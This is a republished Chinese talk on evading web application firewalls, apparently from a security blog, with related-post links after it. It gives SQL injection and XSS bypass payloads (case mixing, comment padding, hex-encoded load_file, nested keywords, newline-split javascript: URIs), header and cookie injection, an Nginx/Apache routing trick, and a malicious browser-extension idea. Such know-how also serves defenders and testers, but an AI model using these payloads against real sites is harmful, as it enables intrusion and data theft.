0×01开场白

这个议题呢,主要是教大家一个思路,而不是把现成准备好的代码放给大家。

可能在大家眼中WAF(Web应用防火墙)就是“不要脸”的代名词。如果没有他,我们的“世界”可能会更加美好。但是事与愿违。没有它,你让各大网站怎么活。但是呢,我是站在你们的这一边的,所以,今天我们就来谈谈如何绕过WAF吧。之所以叫做“杂谈”,是因为我在本次演讲里,会涉及到webkit、nginx&apache等。下面正式开始:)

0×02直视WAF:

作为第一节,我先为大家简单的说下一些绕过WAF的方法。

一:大小写转换法:

看字面就知道是什么意思了,就是把大写的小写,小写的大写。比如:

SQL:sEleCt vERsIoN();
‍‍XSS:<sCrIpt>alert(1)</script>

出现原因:在waf里,使用的正则不完善或者是没有用大小写转换函数

二:干扰字符污染法:

空字符、空格、TAB换行、注释、特殊的函数等等都可以。比如下面的:

SQL:sEleCt+1-1+vERsIoN   /*!*/       ();`yohehe‍‍
‍‍SQL2:select/*!*/`version`();

XSS:下面一节会仔细的介绍

出现原因:利用网站使用的语言函数特性来绕过waf的规则或者使用会无视的字符

三:字符编码法:

就是对一些字符进行编码,常见的SQL编码有unicode、HEX、URL、ascll、base64等,XSS编码有:HTML、URL、ASCLL、JS编码、base64等等

SQL:load_file(0x633A2F77696E646F77732F6D792E696E69)
‍‍‍‍XSS:<script%20src%3D"http%3A%2F%2F0300.0250.0000.0001"><%2Fscript>

出现原因:利用浏览器上的进制转换或者语言编码规则来绕过waf

四:拼凑法:

如果过滤了某些字符串,我们可以在他们两边加上“原有字符串”的一部分。

SQL:selselectect verversionsion();
‍‍‍‍XSS:<scr<script>rip>alalertert</scr</script>rip>

出现原因:利用waf的不完整性,只验证一次字符串或者过滤的字符串并不完整。

本节是告诉大家,waf总会有自己缺陷的,任何事物都不可能完美。

0×03站在webkit角度来说绕过WAF:

可能这时会有人问到,说绕过WAF,怎么跑到webkit上去了。嗯,你没有看错,我也没有疯。之说以站在webkit角度来讲绕过WAF,是因为各个代码的功能是由浏览器来解析的。那浏览器中谁又负责解析呢?那就是webkit, 既然要说到webkit,那就不得不提webkit下的解析器——词法分析器,因为我们在绕过的时候,就是利用解析器中的词法分析器来完成。

就比如一个简单的绕过WAF的XSS代码:

<iframe src="java
script:alert(1)" height=0 width=0 /><iframe> <!--Java和script是回车,al和ert是Tab换行符-->

他可以弹窗,可以为什么他可以弹窗呢?这里面有回车、换行符啊。想要理解,我们来看看webkit下的Source/javascriptcore/parser/lexer.cpp是怎么声明的吧。

 while (m_current != stringQuoteCharacter) {        if (UNLIKELY(m_current =='\\')) {            if (stringStart != currentSourcePtr() && shouldBuildStrings)                append8(stringStart, currentSourcePtr() - stringStart);            shift();             LChar escape = singleEscape(m_current);             // Most common escape sequences first            if (escape) {                if (shouldBuildStrings)                    record8(escape);                shift();            } else if (UNLIKELY(isLineTerminator(m_current)))                shiftLineTerminator();

注意倒数第二行里的isLineTerminator函数。这里我来说说大致的意思:所有的内容都在一个字符串里,用while逐字解析,遇到换行就跳过。然后在拼成一个没有分割符的字符串,所以这时的XSS代码成功弹窗了。

Webkit里的词法分析器里除了跳过换行符,还会跳过什么字符呢?

子曰:还有回车等分隔符。

根据webkit词法分析器的机制,我们就可以写更多的猥琐xss代码。

下面再说说这个注意事项:

<iframe src="java
script:alert(1)" height=0 width=0 /><iframe>  <!--这个可以弹窗-->
<iframe src=java
script:alert(1); height=0 width=0 /><iframe>  <!--这个不可以弹窗-->

因为在webkit的词法分析器里,跳过回车、换行等分隔符时有个前提,那就是必须用单/双引号围住,不然不会跳过。因为如果不使用引号,词法分析器会认为 回车、换行就是结束了,如果你运行上面这段代码,webkit会把java当做地址传给src。词法分析器跳过的前提就是建立在引号里的,切记。

这里在说一个:

回车、换行只在属性中引号里才会起作用。如果你对标签或者属性用 回车、换行,这时你大可放心,决对不会弹窗。而且在属

性值里 回车、换行随便用。如果空格出现在xss代码里并不会弹窗,但是如果出现在字符和符号之前,就可以弹了。如图:

注意事项:

跳过回车和换行,不支持on事件。例如下面的代码

<a href="javascript:alert(1)">xss</a>会弹窗,但是下面的代码就不行了
‍‍‍‍<a href="#" onclick="alert(1)">s</a>可见加了Tab换行,就无法弹窗了。但是还是支持字符和符号之间加入空格的。

本节就是告诉大家,想要玩的更好,最好追溯到底层,从底层来看攻击手法,你会发现很多问题迎刃而解。

0×04 利用Nginx&Apache环境 BUG来绕过waf:

这个bug比较鸡肋,需要在nginx&apache环境,而且管理员较大意。

这是一个不是bug的bug。

当网站采用前端Nginx,后端Apache时,需要在conf配置,当遇到PHP后缀的时候,把请求交给Apache处理。但是Nginx判断后缀是否为PHP的原理是根据URL的。也就是说如果当URL的后缀不是PHP的时候,他并不会把PHP教给Apache处理。

配置:

 

乍一看,没什么问题。但是这里隐藏一个漏洞。

我在test目录建立一个index.php:

 

利用nginx&apache这个bug,再加上浏览器默认会隐藏index.php文件名,那么漏洞就来了。

alert(1)不会弹窗,被waf.conf给拦截了。" data_ue_src="http://www.freeattack.com/test/?text=alert(1)不会弹窗,并且返回403.">访问a.cn/test/index.php?text=<script>alert(1)</script>不会弹窗,被waf.conf给拦截了。

访问a.cn/test/?text=<script>alert(1)</script>会弹窗,没有被waf.conf给拦截,因为nginx根据URL判断这不是php文件,并没有交给apache处理,也就没有走第三个location流程。

 

本节是告诉大家,绕过WAF不用一直针对WAF,也可以利用环境/第三方的缺陷来绕过。

0×05 从HTTP数据包开始说起:

一:现在有一部分网站waf是部署在客户端上的,利用burp、fiddler就可以轻松绕过。

很多时候我们遇到的情况就像这段代码一样:

<input type="text" name="text">
‍‍‍‍<input type="submit" onclick="waf()">

把waf规则放到js里。我们可以提交一个woaini字符串,然后用burp、fiddler抓包、改包、提交,轻轻松松的绕过了客服端的WAF机制。

二:有的网站,他们对百度、google、soso、360等爬虫请求并不过滤,这时我们就可以在USER-Agent伪造自己是搜索引擎的爬虫,就可以绕过waf

三:有的网站使用的是$_REQUEST来接受get post cookie参数的,这时如果waf只对GET POST参数过滤了,那么久可以在数据包里对cookie进行构造攻击代码,来实现绕过waf。

四:有的waf对GET POST COOKIE都过滤了,还可以进行绕过。怎么绕过呢?

假设网站会显示你的IP或者你使用的浏览器,那么你就可以对IP、user-agent进行构造,在PHP里X_FORWARDED_FOR和HTTP_CLIENT_IP两个获取IP的函数都可以被修改。

想详细了解的可以去:http://www.freebuf.com/articles/web/42727.html 0×06节。

本节告诉我们waf是死的,人是活的,思想放开。不要跟着WAF的思路走,走出自己的思路,才是最正确的。

0×06 WAF你算个屌:

很多人认为绕过WAF需要根据WAF的规则来绕过。但是我们可以忽视他,进行攻击。

我们利用第三方插件来进行攻击,因为第三方插件的权限非常大,而且他有一个特殊的性质,就是他可以跨域。

我们可以事先在插件里调用一个js代码,对方安装之后浏览任何网站都可以被XSS。

我们现在来看段Maxthon插件的源码:

def.Json:

 

test.js:

 

统一放在一个文件夹里,再用Mxpacke.exe生成一个遨游插件。

 

双击就可以安装这个插件。

这不算是一个漏洞,因为插件必须要运行js代码,而XSS的宗旨就是 在网站里运行你所指定的js代码。所以,这个xss没办法修复,而且chrome 火狐 等浏览器都存在。

资料下载

PPT、DOC下载:http://pan.baidu.com/s/1pJ6wxj9

转载:http://www.freebuf.com/articles/web/54686.html

技术分享:杂谈如何绕过WAF(Web应用防火墙)(转)的更多相关文章

  1. WAF:web应用防火墙

    1,sql注入2,xss3,不安全下载 code_backup.tar.gz .sql 4.隐私文件访问 .svn .git 5.弱口令6. 非授权访问 redis 7.cc攻击 性能cc攻击8.DD ...

  2. 基于lua-nginx-module(openresty)的WEB应用防火墙

    独乐乐,不如众乐乐,分享给大家一篇WEB应用防火墙的文章,基于Lua+ Nginx实现.以下是ngx_lua_waf的作者全文输出. Github地址:https://github.com/loves ...

  3. 绕过WAF进行常见Web漏洞利用

    前言 本文以最新版安全狗为例,总结一下我个人掌握的一些绕过WAF进行常见WEB漏洞利用的方法. PS:本文仅用于技术研究与讨论,严禁用于任何非法用途,违者后果自负,作者与平台不承担任何责任 PPS:本 ...

  4. 1.如何绕过WAF(Web应用防火墙)

    一:大小写转换法: 看字面就知道是什么意思了,就是把大写的小写,小写的大写.比如: SQL:sEleCt vERsIoN(); ‍‍XSS:)</script> 出现原因:在waf里,使用 ...

  5. 深入了解SQL注入绕过waf和过滤机制

    知己知彼百战不殆 --孙子兵法 [目录] 0x00 前言 0x01 WAF的常见特征 0x02 绕过WAF的方法 0x03 SQLi Filter的实现及Evasion 0x04 延伸及测试向量示例 ...

  6. 深入理解SQL注入绕过WAF和过滤机制

    知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...

  7. 走进科学 WAF(Web Appllication Firewall)

    1. 前言 当WEB应用越来越为丰富的同时,WEB 服务器以其强大的计算能力.处理性能及蕴含的较高价值逐渐成为主要攻击目标.SQL注入.网页篡改.网页挂马等安全事件,频繁发生. 企业等用户一般采用防火 ...

  8. 走进科学之WAF(Web Appllication Firewall)篇

    小编P.S:文章非常详尽对WAF领域进行了一次科普,能有让人快速了解当前WAF领域的相关背景及现状,推荐所有WAF领域的同学阅读本文. 1. 前言 当WEB应用越来越为丰富的同时,WEB 服务器以其强 ...

  9. 深入理解SQL注入绕过WAF与过滤机制

    知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...

随机推荐

  1. Redis 3.0 编译安装

    Redis 3.0 编译安装 http://www.xuchanggang.cn/archives/991.html

  2. swift中的如果在构造方法中使用KVC, 调用了super.init(), 报错, 基本数据类型属性找不到

    swift要求, 属性必须有初始化值, 如果不对其赋值, 可以加一个?系统会默认给其包装一个可选值(直说就是nil) 如果定义一个基本类型, 建议直接赋值, 不建议使用? 下面说下标题中的问题 有时候 ...

  3. c json实战引擎五 , 优化重构

    引言 scjson是一个小巧的纯c跨平台小巧引擎. 适用于替换老的cJSON引擎的场景. 数据结构和代码布局做了大量改进.优势体现在以下几个方面: 1) 跨平台 (window 10 + VS2017 ...

  4. [会装]Spark standalone 模式的安装

    1. 简介 以standalone模式安装spark集群bin运行demo. 2.环境和介质准备 2.1 下载spark介质,根据现有hadoop的版本选择下载,我目前的环境中的hadoop版本是2. ...

  5. A Tutorial on Network Embeddings

    A Tutorial on Network Embeddings paper:https://arxiv.org/abs/1808.02590   NE 的中心思想就是找到一种映射函数,该函数将网络中 ...

  6. C语言 ,两个字符串参数,判断是否包含另一个字符串,返回所在位置

    char * cyp(char *s1,char *s2) { char *p = NULL; char *q = NULL; char *q1 = NULL; while(*s1!='\0') { ...

  7. graylog安装

    官网:http://docs.graylog.org/en/2.4/pages/installation/os/centos.html Prerequisites Taking a minimal s ...

  8. poj 1742(好题,楼天城男人八题,混合背包)

    Coins Time Limit: 3000MS   Memory Limit: 30000K Total Submissions: 33269   Accepted: 11295 Descripti ...

  9. Python3通过汉字输出拼音

    https://github.com/mozillazg/python-pinyin # pip install pypinyin from pypinyin import pinyin, lazy_ ...

  10. ionic3包还原使用yarn命令执行步骤(解决ionic3懒加载报找不到 module的错误)

    使用cnpm 还原ionic3.6的依赖包的时候 可以正常还原,但是使用懒加载就会报找不到 module 的错误.最简单的解决办法是删除node_modules 挂个vpn 重新执行npm insta ...